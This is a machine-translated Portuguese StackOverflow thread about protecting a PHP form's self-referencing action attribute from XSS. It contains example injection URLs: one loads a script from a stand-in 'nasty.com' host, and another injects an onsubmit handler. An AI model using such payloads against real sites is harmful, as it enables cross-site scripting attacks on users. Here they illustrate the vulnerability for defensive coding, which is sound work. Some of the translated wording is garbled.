Cobri todas as bases com segurança ao ecoar uma variável de servidor para a página?

StackOverflow https://stackoverflow.com/questions/613680

  •  03-07-2019
  •  | 
  •  

Pergunta

Com formas que sempre usei

<form method="post" action="<?php echo strip_tags($_SERVER['REQUEST_URI']); ?>">

Para fazer meus formulários se submeterem a si mesmos.

eu uso striptags() Caso alguém se links para:

http://www.mysite.com/page-with-form.php?bla="><script src="http://www.nasty.com/super-nasty.js"></script><a href="#

Eu cobri todas as bases, para proteger dos ataques XSS, ou devo usar uma abordagem mais permite, digamos um regex que permite apenas caracteres alfanuméricos, a barra para a frente, o ponto de interrogação, o sinal igual a sinal, parênteses etc?

Obrigada!

Foi útil?

Solução

Usar htmlspecialchars ao invés de strip_tags.

Outras dicas

Se você deseja fazer referência ao mesmo esquema/host/caminho, uma ação simples = "?" Schould é suficiente. De acordo com http://tools.ietf.org/html/rfc3986#section-4.2

relative-ref  = relative-part [ "?" query ] [ "#" fragment ]

      relative-part = "//" authority path-abempty
                    / path-absolute
                    / path-noscheme
                    / path-empty

É um URI relativo valido.

Peça a um formulário que envie a si mesmo enviando -o para isso:

$_SERVER["PHP_SELF"]

Essa variável global produzirá a página atual. A menos que haja uma razão pela qual você precise de toda a sequência de consultas junto com ela?

EDITAR

Desde como apontado por Volkerk nos comentários, mesmo PHP_SELF é vulnerável, você pode escrever sua própria variável com base no PHP_SELF e explodir o restante do URI que você sabe que não faz parte da sua página. Algo assim:

$file_ext = '.php'; //knowing what file extension your URI is
$page_on = $_SERVER["PHP_SELF"]; //grab this page, with all that junk
$page_huh = explode($file_ext, $page_on); //blow it apart based on file ext
$page_on = $page_huh[0].$file_ext; //attach the leg back onto the URI

echo $page_on;

Se seu striptags() tiras apenas tags (caracteres entre "<" e ">", incluindo os colchetes do ângulo), alguém ainda pode injetar JavaScript:

http://www.mysite.com/page-with-form.php?bla=" onsubmit="return function(){ /*nasty code here*/ }()" style="

A lista de permissões melhores todos os meta-caracteres possíveis em HTML, JavaScript e CSS (por exemplo, suportes de ângulo, parênteses, aparelhos, semi-corons, cotação dupla, cotação única, etc.).

Se você deseja que um formulário se submeta, deixe a ação vazia, por exemplo

<form action="" method="POST">
...
</form>
Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top